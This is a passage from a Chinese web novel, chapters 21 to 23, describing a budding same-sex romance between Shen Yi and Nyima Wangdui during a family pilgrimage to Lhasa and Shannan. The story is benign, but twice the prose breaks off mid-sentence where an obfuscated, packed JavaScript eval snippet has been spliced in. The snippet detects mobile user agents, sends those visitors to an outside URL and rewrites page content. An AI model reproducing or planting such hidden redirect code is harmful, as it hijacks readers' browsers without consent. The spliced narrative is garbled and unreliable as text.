沈翊在他的注视下,奇异地镇定下来。 窗外夜色浓重,或许真有什么在游荡,但屋内炉火正旺,茶水温热,眼前这个人的目光坚实。 那些关于不同眼睛、关于灵魂归宿的玄奥话题,带来的不再是单纯的寒意,而是混合着对身边这个人更深层理解与依赖的复杂暖流。 他忽然觉得,自己喜欢上的,或许不仅仅是尼玛旺堆这个人,更是他身后那个广阔、深邃、既接纳生也理解死,既敬畏无形也珍视眼前的世界。而尼玛旺堆,正是那个世界的钥匙,也许就是因为他在那里,他这个无.神.论.者才会被吸引。 21. 与擦擦 次日清晨,沈翊几乎是下意识地跟着尼玛旺堆的脚步移动。 无需询问目的地,这种跟随本身已成为一种习惯,一种令人安心的日常。 他看着尼玛旺堆在清冷的晨光中,将自家大门的钥匙交给隔壁早起喂牛的老人,低声用藏语嘱咐了几句。 老人笑着拍拍他的胳膊,那种基于邻里血缘的信任,简单而厚重。尼玛旺堆转身回来时,看到沈翊正安静地站在院中望着他,晨光为沈翊略显单薄的身影镀了层柔和的边。他脚步几不可察地顿了一下,才若无其事地说: “上去吧,要收拾东西了。” 上楼才发现,一家人正在忙碌地准备行装。 尼玛旺堆一边将厚重的毛毯卷起塞进大布袋,一边对沈翊解释:“今年去山南转转。今天先到拉萨住下,隔天再过去。”他说话时并未停下手中的活计,但沈翊注意到,他整理东西的动作总带着一种沉稳的条理,仿佛一切早已规划妥当,让人不由自主地信赖。 沈翊心里有些踌躇。 这显然是一次家庭旅行,自己跟着,算什么呢?白吃白住这么久,难道还要继续做“拖油瓶”?这份犹豫刚在眼底浮现,就被不知何时晃过来的德吉次仁逮个正着。 “嗯?”她挑起眉,上下打量他,“你怎么还杵这儿?赶紧的,收拾几件换洗衣服,厚袜子,还有,”她强调,“找双最合脚的鞋,登山用的那种。” “啊?”沈翊还没完全反应过来。 德吉次仁已经一掌拍在他背上,力道不轻,却带着不容置疑的催促:“快去!山南有些地方,可不是穿着你这城里鞋能走的。”她没再多解释,转身就去帮阿妈米玛啦了。 沈翊被她这股雷厉风行的劲儿推着,也只好回房收拾。转身时,他余光瞥见尼玛旺堆正将一把藏刀仔细地用布包好,放入行囊,动作间,抬头飞快地看了他一眼,那眼神里似乎有一丝极淡的、安抚意味的笑意,笑着说:“别多想了,跟着就是。” 阿妈米玛啦用竹筐装了满满一盒早已炖煮入味、凝着白色油脂的牛肉,德吉次仁则装了自家炸的、类似油条的面食“系主”和“塞卡”。 熟悉的食物香气混合着即将远行的隐约兴奋,弥漫在屋子里。沈翊那点局促,在这片忙乱而温暖的准备中,渐渐被熨平了。 车子再次驶上公路。 从日喀则到拉萨,这条路已走过几次,窗外的景致从广阔的农田逐渐过渡到更显荒凉磅礴的山峦。 阿妈米玛啦坐在副驾,不时回头,递来洗干净的苹果、切成块的牦牛肉干,或是倒满一小杯温热的酥油茶。 每一次递送,尼玛旺堆都会先接过,再自然地转递给坐在后排靠窗位置的沈翊。他的手指偶尔会碰到沈翊的,干燥而温暖,一触即分。 沈翊默默接过,小口啜饮,茶水温热地滑入胃中,车窗外是不断向后飞驰的、仿佛没有尽头的苍黄山脉,车内是悠扬的藏语歌谣和零碎的交谈声。一种奇异的归属感,再次悄然滋生。 在拉萨的家中稍作休整,晚饭后早早睡下。 沈翊不解为何如此匆忙,尼玛旺堆看了看表,解释道:“明天阿妈要去大昭寺。早晨人太多,得赶在最前 面。”他顿了顿,目光落在沈翊困倦的脸上,语气是少见的商量口吻:“你要是不想起,就多睡会儿,不用勉强。” “我想去。”沈翊立刻说,声音带着刚睡醒的沙哑,却很坚定。虽然这安排并未事先征询他,让他起初有些微妙的被排除感,但此刻,他更不愿意被留下。 他想参与他们的重要时刻,想看看让尼玛旺堆如此郑重对待的清晨大昭寺,究竟是怎样一番景象。更何况,能和穿着正式藏袍的尼玛旺堆同行……这个念头让他耳根微热。 凌晨三点,整个拉萨还在沉睡。 他们挤上31路公交车,车厢空旷而寒冷。沈翊困得眼皮打架,行车摇晃中,不知不觉,头一歪,靠在了身旁人的肩膀上。 尼玛旺堆整个脊背瞬间僵直了。 沈翊柔软的发丝蹭着他的颈侧,温热的呼吸透过衣物,浅浅地拂在他的皮肤上。一股陌生的、混杂着清爽洗发水味道和沈翊本身干净气息的味道钻入鼻腔。他几乎是本能地想要抬手推开这过于亲密的接触,手臂肌肉都绷紧了,可指尖悬在半空,最终却只是蜷缩起来,慢慢放下。 他保持着僵硬的坐姿,喉结上下滚动了一下,目光直直地投向车窗外浓得化不开的夜色,以及车窗玻璃上倒映出的、沈翊依偎着他的模糊轮廓。 那轮廓看起来毫无防备,甚至有些脆弱。一种强烈的保护欲,毫无征兆地涌上心头,压过了最初的不自在。他就这样一动不动地坐着,仿佛成了一座为身边人提供倚靠的石像。 坐在后排的德吉次仁将这一切尽收眼底,她挑了挑眉,嘴角弯起一个了然的弧度,随即别开脸,假装看向窗外。 “措美林站到了……”公交车的报站声打破了沉寂。 尼玛旺堆深吸一口气,极其缓慢地转过身,轻轻拍了拍沈翊的肩膀,声音是刻意放低的温和:“沈翊,到了。” 沈翊迷迷糊糊地睁开眼,视线先是模糊,然后逐渐聚焦。 映入眼帘的,是尼玛旺堆近在咫尺的脸。他第一次见到尼玛旺堆穿着如此正式的藏袍,深褐色的面料,立领镶着华丽的锦缎边,衬得他脖颈修长,肩膀宽阔,平日里那种阳光健朗的气质,被这身服装赋予了一种沉稳内敛的庄严感。 车厢昏暗的光线勾勒出他清晰的下颌线和挺直的鼻梁,那双总是显得很认真的眼睛,此刻正专注地看着自己。 沈翊看呆了,睡意瞬间跑得无影无踪,心脏漏跳了一拍。 “咳咳,”德吉次仁的轻咳声像一盆冷水,让沈翊猛地回神,他几乎是弹开般坐直身体,耳根滚烫,慌忙移开视线,低头去扶前排的阿妈米玛啦。 尼玛旺堆也迅速站起,脸上的表情恢复了一贯的平静,只是耳后那点红晕,在昏暗中也难以分辨。他快步跟上,但在沈翊伸手搀扶阿妈米玛啦时,他不动声色地在一旁稳稳托住了母亲的另一只胳膊,形成了一个稳固的三角。沈翊能感觉到他手臂传来的、令人心安的力量。 通往大昭寺的巷子已经排起了队,幸好他们来得够早。 过安检,小跑,汇入更庞大的人流。德吉次仁塞给他黄色的哈达,阿妈米玛啦递来十块钱,用藏语嘱咐着。但沈翊已无暇细究,他被眼前汹涌的人潮震撼了。尼玛旺堆靠近他,在一片嘈杂中微微低头,在他耳边快速解释:“阿妈让你把哈达和钱,献给里面的强巴佛。”温热的气息拂过耳廓,沈翊下意识地缩了缩脖子,点了点头。 进入主殿的过程如同赶集。 壁画无法细看,佛像只能匆匆一瞥,人挨着人,只能随着人流向前蠕动。将哈达和钱递上佛龛的瞬间,身后的僧人便催促着“快走,快走”。 阿妈米玛啦在离开前,回头深深地望了一眼佛像,那一眼包含了千言万语。沈翊被这一幕触动,他也学着尼玛旺堆的样子,在经过时,微微低头,心中默念了一句什么。念的是什么,他自己也说不清,或许只是一种对这片虔诚之海的敬畏,又或许,夹杂了一丝不足为外人道的、关于身边人的私心。 出来后转经三圈,此时天光已亮,大昭寺广场上的人潮比凌晨时多了何止十倍,真正成了人的海洋。沈翊看着那些不断叩拜、念经、转动经筒的身影,感受到的已不仅仅是震惊,更是一种沉甸甸的、关于信仰何以拥有如此磅礴力量的思考。 小昭寺相对清静些。同样的流程,却因空间宽松,多了几分从容。回程的公交车上,沈翊已疲惫不堪,但他注意到,尼玛旺堆虽然也显露出倦色,背脊却依然挺直,目光望着窗外熟悉的街景,侧脸在晨光中显得沉静而坚定。这个人,似乎总能在浮躁拥挤中,保持着自己内在的节奏和力量。沈翊望着他的侧影,疲惫的身体里,竟也生出几分奇异的安定感。 午后,他们启程前往山南。 风景在车窗外变换,荒原、河谷、偶尔掠过的村镇。同行的车辆中,有一辆似乎也是从日喀则方向来的,大家默契地在某个路口停下,去路旁一座小小的寺庙。这座寺庙与扎什伦布寺的恢宏不同,显得古朴甚至有些简陋。拜完主佛,沈翊被侧殿角落一堆用塑料袋、旧碗盛放的白色块状物吸引了。 “这是什么?”他问尼玛旺堆。 “人.骨。”尼玛旺堆回答得平淡无奇,仿佛在说那是石头。 沈翊头皮一麻,看向德吉次仁求证,她也点头确认。“你们……不觉得?”沈翊话没说完,但脸上的表情已经说明了一切。 “怕什么?”德吉次仁不以为意,“都是解.脱了的皮.囊。这些骨.头碎片,是天葬之后剩下的,要磨碎了和别的材料混在一起,做成‘擦擦’一种小佛像,最后会放到神山圣湖里,是功德。” “我们敬畏自然,身体喂给秃鹫就是布施的过程。我出生到这个世界,吸呼吸的第一口空气是自然产生的。我要感谢我的父母给了我这副身体,但是我也要感谢,自然给了我这副身体能够在这个空间内能够运行和生存的氧气。而氧气又是从万物很多很多,就是各种反应,各种作用之后产生的。我们人类是高级动物,但是我们也要敬畏自然,感谢自然,确实是自然界给了给了我们所有生命一个机会。” 沈翊听得背后凉飕飕的,又忍不住去看那些森白的遗骨,仔细一看确实和普通。尼玛旺堆见他脸色发白,下意识地向前挪了半步,挡在了他和那堆东西之间,虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182994|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并未完全遮住,却是一个带有保护意味的姿态。“走 吧,”他低声说,“去看桑耶寺,那里的佛塔好看。” 在桑耶寺,他们看到了著名的四色佛塔。 白塔,大悲菩提心; 红塔,怀爱摄受; 黑塔,降服恶业; 绿塔,成就事业。 融合了汉、印、尼泊尔和藏土本地的建筑特色,很多藏族在家人去世后回来这里祈福。 在雍布拉康,他们选择了徒步上山。山不高,但台阶陡峭。 尼玛旺堆始终走在沈翊侧前方,步伐稳健,不时回头看他一眼,确认他跟得上。 沈翊喘着气爬到最后一段陡梯时,尼玛旺堆停下脚步,伸出手:“这里滑,拉着我。”他的手心干燥而有力,稳稳地将沈翊拉了上去。站在西藏第一座宫殿的遗址前,俯瞰雅砻河谷,劲风吹得经幡猎猎作响,沈翊的心中充满了历史的苍茫感。而手心里残留的、被紧握过的触感,却又如此真实而温暖。 晚上在桑耶寺旁的旅馆住宿。途中还去了另外一处寺庙,这里有用珍珠做的佛像,叫墓地卓玛。意思是珍珠做的卓玛。 房间紧张,沈翊和尼玛旺堆自然同住一屋。 临睡前,尼玛旺堆从包里拿出一罐便携氧气,递给沈翊:“明天要去的地方海拔更高,带着,可能用得上。”他的关心总是这样,直接、实在,不带任何花哨。 沈翊接过氧气罐,冰凉的触感让他忽然想起一个盘旋已久的问题,或许是这高山之夜让人思维跳脱,他脱口而出:“对了,‘我喜欢你’用藏语说,是不是‘你是我的情人’那个意思?” 正脱裤子脱到一半的尼玛旺堆,动作瞬间僵住,一条裤腿还挂在膝弯。他维持着这个滑稽的姿势,猛地抬头看向沈翊,脸上是毫不掩饰的错愕,甚至有点被无语到:“谁跟你说的?”他顾不上裤子了,用力把腿拔出来,眉头紧锁。可是因为里面还穿着黑色的保暖衣呢!愣是没能顺利提上去,放弃似的用另外那个脚把裤子压在下面扯了出来。 沈翊被他激烈的反应弄得有点懵:“网上……好像看到过。” 尼玛旺堆重重叹了口气,仿佛在忍耐什么。“‘情人’在藏语里,是‘小三’,意思是……插足别人关系的第三者。”他一字一顿地解释,目光紧紧盯着沈翊,仿佛要纠正一个极其严重的错误,“所以,‘你是我的情人’翻译过来,就是‘你是我的小三’。我不知道最初翻译的人怎么想的,但这绝对不是什么浪漫的话。在我们这儿,这话很难听。” 沈翊的脸“腾”地红了,尴尬得恨不得找个地缝钻进去。 他这才明白,自己之前可能对着某个藏族文化帖子,产生了多么离谱的误解。“对不起,我……我不知道。” 他讷讷地说。 看到他窘迫的样子,尼玛旺堆紧锁的眉头反而微微松开了些,语气也缓和下来:“没事,弄清楚就好。以后别乱用。”他重新整理好裤子,钻进了被窝。 窗外,山风呼啸,猛烈地拍打着窗户,发出呜呜的怪响。沈翊的床靠近窗户,那声音听起来格外瘆人,他下意识地蜷缩了一下。 尼玛旺堆在侧边躺着,面对着他的方向。黑暗中,他能听到沈翊那边传来的、略显紧张的细微呼吸声。 过了一会儿,他低声开口,声音在风声中显得有些模糊:“我这边离窗户远点……你要是怕这风声,或者觉得冷,可以把被子搬过来。” 这话说得依旧直接,甚至有点笨拙,听不出太多暧昧,更像是基于实际情况的提议。但沈翊的心脏,却因为这句话,猛地、重重地撞击了一下胸腔。他能清晰地听到那“咚”的一声。几乎没有犹豫,他抱起自己的被子,像寻求庇护的幼兽,迅速挪到了尼玛旺堆的床边,挨着他躺下。 两张单人床并在一起,中间隔着各自的被褥。 风依旧在吼,但身边传来另一个人平稳的呼吸和温暖的体温,那令人不安的声响似乎就被隔绝在了另一个世界。沈翊紧张地屏住呼吸,一动不敢动。他能感觉到尼玛旺堆的身体也微微绷紧了一瞬,但很快,便放松下来,呼吸逐渐变得均匀绵长。 黑暗中,谁也没有再说话。但某种无形的东西,在这并排而卧的亲近距离里,在这山风呼啸的高原之夜,悄然流动,生根发芽。 沈翊听着耳边近在咫尺的呼吸声,闻着被褥间属于尼玛旺堆的、混合了阳光和淡淡酥油的气息,感到一种前所未有的安宁,以及一种更深沉的、令他心尖发颤的悸动。 而尼玛旺堆,在确认身边人不再因恐惧而僵硬后,于沉入睡眠的前一刻,模糊地想:这个人,连害怕的样子,都让他觉得……还有点放不下。这个念头轻轻划过,便与他一同坠入了黑甜的梦乡。 22. 心跳加速【新增】 顺利成章,他们两人睡在了一起。 尼玛旺堆醒来时,天还未亮。黑暗中,他能听见沈翊平稳的呼吸声近在咫尺,他发现沈翊睡着后,会无意识地蜷缩起来,像只缺乏安全感的猫。昨晚沈翊抱着被子过来时,尼玛旺堆以为自己会不习惯,可当那具微凉的身体隔着两层被褥贴在自己身侧时,他感到的竟是一种奇怪的满足。 他感觉自己有点不对劲,他心脏在遇到沈翊之后似乎跳的更加欢快了。 他需要问一下姐姐。 他静静躺着,不敢动。 沈翊的头发蹭到了他的枕边,有股淡淡的、不同于藏香的洗发水味道。 尼玛旺堆忽然想起小时候在牧场捡到的一只离群羔羊,也是这般脆弱,这般需要紧挨着热源才能安睡。可沈翊不是羔羊,他是活生生的人,一个有复杂过去、会理性分析也会在深夜恐惧风声的、具体的人。 这个认知让尼玛旺堆的心脏轻轻抽动了一下。 他轻手轻脚地起身,生怕惊扰了这份宁静。穿衣服时,借着窗外微弱的光,他看见沈翊露在被子外的一截手腕,那么白,那么细,腕骨凸起得像要刺破皮肤。尼玛旺堆下意识地比了比自己的手腕,几乎是沈翊的两倍粗。这么瘦弱的身体,撑着这个人从都市逃到高原,又撑着他在寒夜里走向自己。 尼玛旺堆不知道自己在干什么,他把原本系在自己手上的被祈福过的红绳,解下来,分成两半,一半系在了他的手上。 白色的手腕和红色的绳子。很搭。 过了一会儿。 “该起了。”他轻轻推了推沈翊的肩膀,触手是单薄的睡衣和底下温热的体温。 沈翊迷迷糊糊睁眼,在黑暗中眨了眨,才哑着嗓子问:“几点了?” “五点。”尼玛旺堆已经点起了床头的小灯,昏黄的光晕勾勒出他棱角分明的侧脸,“我们要赶在日出前到扎央宗。” 冬天山南的寒风呼啸,刺骨的风轻轻抚摸着脸颊,如此的霸道却无法拒绝。办理退房时,尼玛旺堆注意到沈翊在不停跺脚,他穿的登山鞋不够厚。这个发现让他皱了皱眉,转身从车里翻出一副备用的羊毛鞋垫,不由分说地塞进沈翊手里。 “垫上,脚不能冻。”他说得简短,像在陈述一个非常普通的生活常识。 沈翊愣了下,接过去时指尖擦过尼玛旺堆的手掌。 那一瞬间的触感让尼玛旺堆猛地收回手,仿佛被烫到。 他转身去搬行李,却在心里反复回味那微凉的、柔软的触觉,和女孩温暖的手完全不同,和任何他接触过的人都不同。 凌晨、冬季、西藏,这三个字连起来感觉将会是一个令人不愿出门的情况,可事实并非如此。 虽然没有几家店开着,但依旧有不少人已经开始转寺庙了,看似很少,实则连续不断。尼玛旺堆轻车熟路地领着他们走进一家亮着灯的茶馆,暖气混着酥油茶香扑面而来。 沈翊收回视线,便看到服务员姐姐在收费处忙活,换做别家会放酒水的地方,他们摆着佛像,前面还供奉了一些食物。 她拿着刚点燃的燃灯小心翼翼摆到那里,也不知道是不是内心的作用,沈翊感觉整个店更加温馨了不少。 “你还有什么要补充的吗?”尼玛旺堆问,眼睛却看着菜单。他其实已经记住了沈翊的口味:不吃太辣,喜欢面食,讨厌香菜,这些细碎的信息不知何时已在他的记忆里自动归档。 沈翊摇了摇头。 尼玛旺堆用藏语快速点完餐,特意嘱咐了一句:“给他的面少放点盐,他口味淡。”服务员姐姐会意地笑了笑,那笑容里有种了然的神情,让尼玛旺堆忽然有些不自在,很不爽的感觉。 食物上来后,沈翊吃了几口就停下了。尼玛旺堆几乎立刻察觉到:“咸了?” “还好。”沈翊试图继续,被尼玛旺堆伸手按住了碗。 “别吃了。”他转身用藏语对服务员说了什么,很快换来一碗清汤面,“吃这个。” 德吉次仁在对面挑了挑眉,什么也没说。但尼玛旺堆能感觉到姐姐的目光像细针,扎在他所有不寻常的举动上。他低头猛喝自己的茶,试图用滚烫的液体压下心头莫名的躁动。 别看他,他也不知道自己为什么会这样!!! 前往扎央宗的盘山路崎岖得令人绝望。 沈翊的脸色越来越白,死死抓着车顶扶手,指节泛出青白色。 德吉次仁把车开得很慢,还是在一个急转弯后听到了沈翊压抑的干呕声。 “停车。”尼玛旺堆说。 车还没停稳,沈翊就冲了下去,在路边吐得昏天暗地。 尼玛旺堆跟下去,一只手拍着他的背,另一只手从口袋里掏出纸巾。 这个角度,他能看见沈翊脆弱的脖颈线条,和因为用力而凸起的脊椎骨节。 “对不起……”沈翊喘着气说,眼角生理性的泪水在晨光中闪烁。 “道什么歉。”尼玛旺堆把矿泉水拧开递过去,“晕车不丢人。” 他的手无意中碰到沈翊的手背,冰凉。尼玛旺堆几乎没有思考,就脱下自己的手套,不由分说地套在沈翊手 上。 “戴着。”他命令道,然后转身跟姐姐换位置,他来开车,手在方向盘上冻得发红,心里却有种奇怪的满足感。 等沈翊缓过来,他们继续上山,车只能行驶到半山腰。尼玛旺堆再三询问沈翊确定要上去吗?可能会高反。 沈翊坚决要跟他们一起上去。 尼玛旺堆也没说什么只是默默带上了几瓶氧气瓶。 登山才是真正的考验。 沈翊爬到半路开始气喘吁吁,每一步都像在对抗重力与海拔的共谋。尼玛旺堆走在他前面,刻意放慢了速度,却又不时回头,确保沈翊还在视线范围内,确保他没有晕倒,确保他还在坚持。 “我们两个休息一会儿。”德吉次仁看出沈翊的极限,拉住他。 尼玛旺堆本该继续前进,阿妈米玛啦还在前面,他应该去照顾母亲。可他的脚像生了根,站在原地等沈翊喘过那口气。他看着沈翊弯腰撑着膝盖,汗水从额角滴进尘土,忽然想起曾经救过的一只折翅的鹰,也是这般挣扎,这般不肯认命。 “给。”德吉次仁递给沈翊一颗糖,眼神却飘向弟弟,“某些人眼睛都快长在人家身上了。” 尼玛旺堆猛地别开脸,耳根发烫。 继续向上时,他故意落后半个身位,这样就能在沈翊脚步踉跄时第一时间伸手托住。第一次接触发生在沈翊踩到松动的石块时,尼玛旺堆的手迅速扶住他的腰,稳住了摇晃的身形。 “小心。”他说,手却没有立刻放开。 那个瞬间被拉得很长。尼玛旺堆能感觉到掌心下沈翊身体的温度,透过层层衣物传递过来。沈翊很瘦,腰细得仿佛一折就断,可就是这具身体,陪他走过湿地,捡过牛粪,此刻还在向更高的圣迹攀登。 “谢谢。”沈翊轻声说,声音有些哑。 尼玛旺堆这才松开手,指尖残留的触感却久久不散。那之后的路上,他的手总是悬在沈翊身后三十公分处,像 一个无声的承诺。 接近山顶时,出现了几乎垂直的阶梯。沈翊望着那近乎九十度的坡度,脸上露出了近乎绝望的表情。尼玛旺堆走到他前面,回头伸出手。 “跟着我。”他说,“我走一步,你走一步。” 这不是询问,是宣告。沈翊看着那只伸向自己的、骨节分明的手,上面有劳作留下的茧,有伤口愈合后的淡粉色疤痕,此刻正稳稳地悬在空气中,等待他的回应。 沈翊握了上去。 尼玛旺堆的手很热,很有力。他引着沈翊,一步一步向上攀爬。爬到入口的转角,沈翊脚下打滑,整个人差点向后仰去,还好有绳子的辅助,尼玛旺堆几乎是本能地转身,用整个身体挡住了他下坠的趋势。 两人在狭窄的入口紧紧相贴。沈翊的脸埋在尼玛旺堆肩头,急促的呼吸喷在他的颈侧。尼玛旺堆能感觉到对方狂乱的心跳,透过两层厚重的衣物,与自己的心跳逐渐同频。 尼玛旺堆在庆幸,庆幸不是在爬楼梯时打滑。 时间静止了几秒。 “没事了。”尼玛旺堆先开口,声音比平时更低,“我在。” 他没有立刻退开,而是等沈翊自己站稳,才缓缓松开环抱的手臂。那个拥抱短暂得可以解释为救援,但尼玛旺堆知道不是,在沈翊扑进他怀里的那一刻,他的第一反应不是救人,而是收紧手臂。 他想抱住这个人。这个念头清晰得可怕。 洞穴狭窄得必须匍匐前进。 尼玛旺堆让沈翊跟在自己后面,不时回头用头灯照亮前路。 “手给我,”在爬出那个井状洞口时,他再次伸手,“这里比较危险,你抓仅绳子,另一只手给我。” 沈翊的手搭上来时,尼玛旺堆握得很紧。 他将沈翊拉向自己,在对方借力翻上平台的瞬间,两人几乎脸贴着脸。 灯光晃过,尼玛旺堆看见沈翊瞳孔里映出的自己,专注的、紧张的、完全不像平时的自己。 “谢谢。”沈翊又说,气息不稳。 尼玛旺堆没有回应,只是转身继续带路,但耳根的热度一直蔓延到脸颊。 他想,如果此刻沈翊能看见他的脸,一定会发现异常,幸好黑暗是此刻最好的掩护。 下山的路同样难行。沈翊的腿已经在打颤,每一步都走得艰难。在一个陡峭的下坡处,尼玛旺堆干脆走到他前面,背对着他蹲下。 “上来。”他说。 “什么?” “我背你。”尼玛旺堆没有回头,“这段路太陡,你膝盖受不了。” “不用,我能——” “沈翊。”尼玛旺堆第一次完整地叫他的名字,声音里有不容置疑的坚持,“上来。” 沉默在两人之间蔓延。最终,沈翊小心翼翼地趴上他的背。 尼玛旺堆稳稳起身,双手托住他的腿弯,像背起一件易碎的珍宝。 沈翊很轻。这是尼玛旺堆的第一个念头。轻得像没有重量,却又重重地压在他的心上。下坡的路上,他走得很稳,每一步都计算着落点。沈翊的呼吸就在他耳畔,温热的,规律的,像某种隐秘的旋律。 “我重吗?”沈翊轻声问。 “不重。”尼玛旺堆回答,“你该多吃点。” 他说的是实话。沈翊太瘦了,瘦得让人担心高原的风会把他吹走,瘦得让人想把他留在温暖的屋子里,好好养着,直到脸颊长出健康的红晕,直到手腕不再细得吓人。 这段路不长,十分钟后就是平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182995|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓的山道。尼玛旺堆放下沈翊时,竟感到一阵莫名的空虚,背上突然轻了,风立刻灌进来,冷得他打了个寒颤。 “谢谢。”沈翊第三次道谢,眼神复杂地看着他。 尼玛旺堆只是点点头,转身继续带路。但他的心还在狂跳,背上残留的温度像烙印,烫得他几乎要忘记这是零下的冬天。 回程的车上,沈翊累得睡着了,头随着颠簸轻轻靠在车窗上。尼玛旺堆从后视镜里看了好几次,终于在一个转弯前,伸手轻轻扶住他的头,让他靠向自己这边。 沈翊在睡梦中无意识地蹭了蹭他的肩膀,找到一个舒服的姿势,睡得更沉了。 尼玛旺堆保持着这个僵硬的姿势,直到肩膀发麻也不敢动。德吉次仁从前座递来一个意味深长的眼神,他想假装没看见,目光直视前方道路,心跳却出卖了一切。 德吉次仁看着念经的母亲,用唱歌的方式对弟弟说:“妈妈,也许注意到了。” 尼玛旺堆下意识看向了沈翊。 扎央宗之后还有宗贡布溶洞,又是一场体力的考验。但这次尼玛旺堆做好了更加充足准备,氧气瓶、能量棒、 更厚的袜子,所有他能想到的、沈翊可能需要的东西,都塞进了背包。 爬山时,他始终走在沈翊身后半步。这个位置很好,可以随时伸手托一把,可以看见沈翊被汗水浸湿的后颈,可以在他需要时第一时间递上氧气瓶。 “给。”在沈翊脸色开始发白时,尼玛旺堆拧开氧气瓶递过去。 沈翊吸了几口,脸色稍缓,苦笑道:“我是不是很累赘?” “没有。”尼玛旺堆回答得太快,快得不像他,“你很好。” 他说的是真心话。沈翊很好,会在他讲解壁画时认真倾听,会在转经时心怀敬畏,会在疲惫时依然咬牙坚持,会在他伸手时毫不犹豫地握住。沈翊的好是安静的、坚韧的,像高原上那些看似柔弱却能在石缝中扎根的野花。 登山途中,他们遇到了一只肥嘟嘟的狸花猫。猫咪围着尼玛旺堆的腿打转,他蹲下身,用藏语轻声和它说话,从口袋里掏出一点牛肉干。 沈翊站在一旁看着,忽然说:“你很喜欢动物。” “它们很纯粹。”尼玛旺堆挠着猫咪的下巴,“喜欢就是喜欢,讨厌就是讨厌,不会伪装。” 他说完才意识到这话可能另有所指,但沈翊只是点点头,没有接话。猫咪吃饱后,蹭了蹭尼玛旺堆的手,又蹭了蹭沈翊的裤脚,这才慢悠悠地离开。 “它喜欢你。”尼玛旺堆说。 “也许它只是喜欢牛肉干。” “不。”尼玛旺堆站起身,拍了拍手上的尘土,“动物能感觉到人的本质。它喜欢你,说明你是个好人。” 他说得如此笃定,仿佛这是真理。沈翊看着他,晨光中尼玛旺堆的脸庞被镀上一层金边,深邃的眼眸里倒映着雪山和天空,还有一个小小的、完整的自己。 那一刻,沈翊忽然明白了什么。而尼玛旺堆也在沈翊的注视中,第一次清楚地意识到:他想要保护这个人,想要这个人留在他看得见的地方,想要每天早上醒来时都能听见这个人平稳的呼吸声。 这不只是同情,不只是责任,不只是主人的待客之道。 这是别的东西。一种更沉重、更滚烫、更让他不知所措的东西。 下山后直奔酒店,所有人都累得几乎虚脱。沈翊洗完澡出来时,尼玛旺堆正在整理背包,他把沈翊湿透的袜子和手套放在暖气片上,摆得整整齐齐。 “谢谢。”沈翊轻声说。 尼玛旺堆没有回头,只是“嗯”了一声。但他的动作顿了顿,耳尖在灯光下微微发红。 那一夜,他们依然睡在同一个房间。关灯后,黑暗中有漫长的沉默。 “尼玛旺堆。”沈翊忽然开口。 “嗯?” “今天……谢谢你。” “你谢过了。” “不一样。”沈翊的声音很轻,像怕惊醒什么,“今天是……很多次。” 尼玛旺堆在黑暗中睁着眼睛。他能听见自己的心跳,也能听见沈翊的呼吸。两个频率在寂静中逐渐同步,像某种隐秘的和声。 “睡吧。”最后他说,“明天还要赶路。” “晚安。” “晚安。” 但他们都知道,今夜无人能安眠。有什么东西在空气中悄然滋长,在每一次对视中,每一次触碰中,每一次无声的关心中,生根发芽,盘根错节。 回程的路上,德吉次仁开车。窗外是飞速后退的雪山和草原,车内放着低低的藏语歌。在某个时刻,沈翊睡着了,头渐渐歪向车窗。 尼玛旺堆伸手,轻轻将他的头扶向自己这边。 沈翊没有醒,只是无意识地靠在了他的肩膀上。 尼玛旺堆保持着这个姿势,在笔直的公路上,在辽阔的天地间,载着他生命中第一个如此重要的人,驶向那个他们共同称之为“家”的地方。 他知道,有些东西已经不一样了。 就像春天融雪后的河流,看似平静,底下却是汹涌的暗流,裹挟着冬季深埋的一切,奔向不可知的远方。 而他,尼玛旺堆,第一次不想抗拒这种改变。 他想要这暗流。想要这远方。想要肩上这份温暖的、沉甸甸的重量。 23. 古突【新增】 时间转瞬而逝,似乎前天还在山南,今天就在准备藏历农耕新年。 藏历十一月最后的那个清晨,沈翊被院子里传来的规律敲击声唤醒。 他披衣起身,推开窗户,看见尼玛旺堆正背对着他,用木槌一下下敲打着什么。晨光将他宽厚的肩膀勾勒成金色的剪影,每一下挥动都带着充足的力量,令人心安。 沈翊看了一会儿才辨认出来,那是用牛羊毛混合编织的厚毯,需要在冬季最后的日子里反复捶打,除去积攒了一冬的灰尘与湿气,才能在新年时重新铺在客厅比较重要的位置。 当然如果有新织的可以直接铺。 “醒了?”尼玛旺堆没有回头,手里的动作却停了停,“吵到你了?” “没有。”沈翊趴在二楼窗台上,看着白气从自己口中呼出又消散,“需要帮忙吗?” 尼玛旺堆这才转身。他的脸颊被晨风吹得微红,额角有细密的汗珠,笑起来时眼睛眯成两条缝:“你来试试?” 沈翊下楼时,尼玛旺堆已经将木槌递了过来。那槌子比看起来沉重得多,沈翊接过来时手腕一沉。尼玛旺堆的手适时托住了他的肘部:“腰发力,不是用手臂。” 他站到沈翊身后,几乎是一个半包围的姿态,双手虚扶在沈翊的腰侧:“这样,感受槌子落下去的惯性。” 沈翊试着挥了一下,动作笨拙得像刚学走路的孩童。尼玛旺堆轻笑一声,那笑声振动着胸腔,贴着沈翊的后背传来。然后他的手覆了上来,不是握住,只是轻轻搭着,引导沈翊完成一个完整的弧线。 “对,就是这样。”尼玛旺堆的声音就在他耳畔,带着藏语特有的韵律,“再来一次。” 